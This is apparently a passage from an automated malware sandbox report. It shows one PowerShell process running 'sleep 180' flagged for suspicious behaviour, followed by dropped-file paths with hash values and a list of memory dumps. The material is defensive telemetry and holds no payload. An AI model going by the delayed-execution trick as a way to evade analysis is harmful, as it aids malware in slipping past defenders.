          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2528

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    8383a27d4e2340c1a59d89f0a76950c7

    SHA1

    4769342c6f9d60481968fa982366eb672c429c24

    SHA256

    eae4acd56d1e6915ab911dbbc11fbad59c2a4d1b813d51c2f77afe00402ea9c4

    SHA512

    8c90f2067f7783728e514339123e8e03660c30381c2df0c2c0d570724660d16b18718c3dc14721551597bd54c14573553e8ff268257db0cd09e9e2c93f0b5a46

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    850110f0a529513cf95bd7b9b9cea848

    SHA1

    ad0b42c6c82a2eea62362db871ccab1bec621f2d

    SHA256

    764d9a34b58e62ee027d764728c258c52a1fc6470061914f04e2ab5911cf6f94

    SHA512

    c359c40021fdc54bb5005528d4cd0cbd60f1edcfd9dee1ccc6aacd3e8179ae301710b7f7331cf840acdcce0ec08c41819af9ea81d8c6790f0d353c5433a9c1c6

    Download Submit

  • memory/2700-9-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2700-8-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2700-10-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2700-4-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2700-11-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2700-7-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2700-17-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2700-18-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2700-6-0x0000000002810000-0x0000000002818000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2700-5-0x000000001B620000-0x000000001B902000-memory.dmp

    Filesize

    2.9MB

    Download